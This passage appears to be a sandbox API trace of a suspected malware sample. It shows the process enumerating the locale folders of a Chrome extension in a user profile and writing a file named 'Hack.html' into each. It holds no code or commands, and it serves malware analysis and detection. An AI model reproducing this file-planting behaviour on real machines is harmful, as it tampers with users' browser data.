lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.208] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.208] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.208] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.208] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.209] GetFileType (hFile=0x174) returned 0x1 [0074.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.209] GetFileType (hFile=0x174) returned 0x1 [0074.210] WriteFile (in: hFile=0x174, lpBuffer=0x2727920*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2727920*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419", lpFilePart=0x0) returned 0x91 [0074.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\", lpFilePart=0x0) returned 0x92 [0074.211] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.212] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.212] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.212] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.212] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419", lpFilePart=0x0) returned 0x91 [0074.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\", lpFilePart=0x0) returned 0x92 [0074.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.213] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.213] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.213] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.213] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\Hack.html", lpFilePart=0x0) returned 0x9b [0074.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.214] GetFileType (hFile=0x174) returned 0x1 [0074.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.214] GetFileType (hFile=0x174) returned 0x1 [0074.214] WriteFile (in: hFile=0x174, lpBuffer=0x272d0d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x272d0d0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.215] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et", lpFilePart=0x0) returned 0x8d [0074.215] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\", lpFilePart=0x0) returned 0x8e [0074.215] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.216] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.216] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.216] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.216] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.216] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et", lpFilePart=0x0) returned 0x8d [0074.216] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\", lpFilePart=0x0) returned 0x8e [0074.216] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.216] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.216] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.217] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.217] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.217] GetFileType (hFile=0x174) returned 0x1 [0074.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.218] GetFileType (hFile=0x174) returned 0x1 [0074.218] WriteFile (in: hFile=0x174, lpBuffer=0x2732780*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2732780*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi", lpFilePart=0x0) returned 0x8d [0074.219] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\", lpFilePart=0x0) returned 0x8e [0074.219] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.220] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.220] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.220] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.220] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi", lpFilePart=0x0) returned 0x8d [0074.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\", lpFilePart=0x0) returned 0x8e [0074.221] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.221] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.221] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.221] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.221] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.222] GetFileType (hFile=0x174) returned 0x1 [0074.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.222] GetFileType (hFile=0x174) returned 0x1 [0074.222] WriteFile (in: hFile=0x174, lpBuffer=0x2737e30*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2737e30*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil", lpFilePart=0x0) returned 0x8e [0074.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\", lpFilePart=0x0) returned 0x8f [0074.224] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.224] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.224] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.224] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.224] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.225] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil", lpFilePart=0x0) returned 0x8e [0074.225] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\", lpFilePart=0x0) returned 0x8f [0074.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.225] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.225] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.225] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.225] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.226] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\Hack.html", lpFilePart=0x0) returned 0x98 [0074.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.226] GetFileType (hFile=0x174) returned 0x1 [0074.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.226] GetFileType (hFile=0x174) returned 0x1 [0074.226] WriteFile (in: hFile=0x174, lpBuffer=0x273d540*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x273d540*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr", lpFilePart=0x0) returned 0x8d [0074.227] GetFullPathNameW (in: 